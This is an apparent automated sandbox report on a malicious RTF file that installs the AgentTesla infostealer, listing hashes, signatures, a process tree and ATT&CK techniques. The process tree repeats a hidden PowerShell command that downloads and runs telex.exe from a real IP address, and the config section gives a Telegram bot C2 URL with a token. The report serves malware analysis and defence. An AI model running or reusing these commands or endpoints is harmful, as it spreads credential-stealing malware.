Analysis

  • max time kernel
    148s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-01-2023 11:32

General

  • Target

    c_xF3pia_r_xE1pida.rtf

  • Size

    255KB

  • MD5

    72af4b046582fa39d8a302d460de50c9

  • SHA1

    79fb9c95dd88ed5e4343f0f8e2603b4a296150b7

  • SHA256

    72342930696771d8f979442184cf8503588840bc32843f172d185ef334285664

  • SHA512

    85971e64415886036564935bc178275e11bbb7ceb6cef516af8da422b3dbc5e2662ac9ee2b8fd0873620b43f39a36b2f2f07fcb157d4967a8111b6793fea77a3

  • SSDEEP

    1536:i+r5aosJaQf5UHZbv7bpGLJ/oj4lFSHTVFojaVbUxZVzFz76mAg5eeVhMDw5wfL8:id54+VzFtr5RDAw5wfY

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://46.101.92.117/hol/telex.exe

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot5479139811:AAFjvrIBMkhtgUmULA2dMcFBI3ifYLrXZAc/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 6 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c_xF3pia_r_xE1pida.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:888
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1064
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe
      2⤵
      • Process spawned unexpected child process
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1756
      • C:\Users\Admin\AppData\Roaming\telex.exe
        C:\Users\Admin\AppData\Roaming\telex.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1304
        • C:\Users\Admin\AppData\Roaming\telex.exe
          "C:\Users\Admin\AppData\Roaming\telex.exe"
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:624
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1952
      • C:\Users\Admin\AppData\Roaming\telex.exe
        C:\Users\Admin\AppData\Roaming\telex.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1312
        • C:\Users\Admin\AppData\Roaming\telex.exe
          "C:\Users\Admin\AppData\Roaming\telex.exe"
          4⤵
          • Executes dropped EXE
          PID:624
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://46.101.92.117/hol/telex.exe','C:\Users\Admin\AppData\Roaming\telex.exe')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\telex.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1592
      • C:\Users\Admin\AppData\Roaming\telex.exe
        C:\Users\Admin\AppData\Roaming\telex.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1624
        • C:\Users\Admin\AppData\Roaming\telex.exe
          "C:\Users\Admin\AppData\Roaming\telex.exe"
          4⤵
          • Executes dropped EXE
          PID:108
        • C:\Users\Admin\AppData\Roaming\telex.exe
          "C:\Users\Admin\AppData\Roaming\telex.exe"
          4⤵
          • Executes dropped EXE
          PID:1476
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1580

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Credential Access

    Credentials in Files

    3
    T1081

    Collection

    Data from Local System

    3
    T1005

    Email Collection

    1
    T1114

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      6c28d5dae0342fa700258fd1a2e1bca5

      SHA1

      4d79b185372a5c44d60e9711d42b257d5558f017

      SHA256

      9b8b13108b45b6fe48352d6ab829110236ebefbade24714f602961ac203d310d

      SHA512

      150bbd9d671cf810370db863c1f609a084fed2e0b8af8d378aacf23c891dc77d30776626ae6f5dfc97b93b7c84cef6f0bc5e2cd54a9e6bfab418d52c90d6b984

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      6c28d5dae0342fa700258fd1a2e1bca5

      SHA1

      4d79b185372a5c44d60e9711d42b257d5558f017

      SHA256

      9b8b13108b45b6fe48352d6ab829110236ebefbade24714f602961ac203d310d

      SHA512

      150bbd9d671cf810370db863c1f609a084fed2e0b8af8d378aacf23c891dc77d30776626ae6f5dfc97b93b7c84cef6f0bc5e2cd54a9e6bfab418d52c90d6b984

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • C:\Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • \Users\Admin\AppData\Roaming\telex.exe
      Filesize

      667KB

      MD5

      a66af759f1ad8e2eb020e21ae7b71c68

      SHA1

      c1bcb51217beb0ce98f807ab87226cf6b8ad2000

      SHA256

      19a510874d02ae9d8cda7a3058c08e4db0c63a84f1e795c95d51f78697a66c1a

      SHA512

      161cd0c24cf652f3464bff0faa4165c3aa53922d8e01dfcd1b38b2eb5c17ce433e44b4684d4c893f1c368051b1b0bb344c2547e54edd029a7ddd4ad8597c72e4

    • memory/624-77-0x0000000000000000-mapping.dmp
    • memory/888-59-0x0000000000000000-mapping.dmp
    • memory/1064-63-0x00000000050A0000-0x00000000050EF000-memory.dmp
      Filesize

      316KB

    • memory/1064-64-0x000000006B100000-0x000000006B6AB000-memory.dmp
      Filesize

      5MB

    • memory/1064-60-0x0000000000000000-mapping.dmp
    • memory/1064-62-0x000000006B100000-0x000000006B6AB000-memory.dmp
      Filesize

      5MB

    • memory/1084-89-0x0000000000000000-mapping.dmp
    • memory/1304-76-0x0000000000560000-0x0000000000566000-memory.dmp
      Filesize

      24KB

    • memory/1304-75-0x00000000004F0000-0x000000000050A000-memory.dmp
      Filesize

      104KB

    • memory/1304-73-0x0000000000630000-0x0000000000648000-memory.dmp
      Filesize

      96KB

    • memory/1304-72-0x00000000005C0000-0x00000000005F4000-memory.dmp
      Filesize

      208KB

    • memory/1304-70-0x0000000000BD0000-0x0000000000C7C000-memory.dmp
      Filesize

      688KB

    • memory/1304-68-0x0000000000000000-mapping.dmp
    • memory/1312-97-0x00000000004F0000-0x0000000000524000-memory.dmp
      Filesize

      208KB

    • memory/1312-90-0x0000000000000000-mapping.dmp
    • memory/1580-119-0x0000000000000000-mapping.dmp
    • memory/1580-120-0x000007FEFC101000-0x000007FEFC103000-memory.dmp
      Filesize

      8KB

    • memory/1592-99-0x0000000000000000-mapping.dmp
    • memory/1624-100-0x0000000000000000-mapping.dmp
    • memory/1632-87-0x0000000066100000-0x00000000666AB000-memory.dmp
      Filesize

      5MB

    • memory/1632-86-0x0000000004E20000-0x00000000050F2000-memory.dmp
      Filesize

      2MB

    • memory/1632-78-0x0000000000000000-mapping.dmp
    • memory/1756-65-0x0000000000000000-mapping.dmp
    • memory/1884-54-0x0000000072A51000-0x0000000072A54000-memory.dmp
      Filesize

      12KB

    • memory/1884-55-0x00000000704D1000-0x00000000704D3000-memory.dmp
      Filesize

      8KB

    • memory/1884-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1884-58-0x00000000714BD000-0x00000000714C8000-memory.dmp
      Filesize

      44KB

    • memory/1884-57-0x0000000075E31000-0x0000000075E33000-memory.dmp
      Filesize

      8KB

    • memory/1884-74-0x00000000714BD000-0x00000000714C8000-memory.dmp
      Filesize

      44KB

    • memory/1912-85-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-79-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-81-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-121-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-122-0x0000000000437C2E-mapping.dmp
    • memory/1912-125-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-127-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1912-84-0x0000000000400000-0x000000000043C000-memory.dmp
      Filesize

      240KB

    • memory/1952-88-0x0000000000000000-mapping.dmp
    • memory/2012-98-0x0000000066380000-0x000000006692B000-memory.dmp
      Filesize

      5MB

    • memory/2012-96-0x0000000004C60000-0x0000000004F32000-memory.dmp
      Filesize

      2MB

    • memory/2012-92-0x0000000000000000-mapping.dmp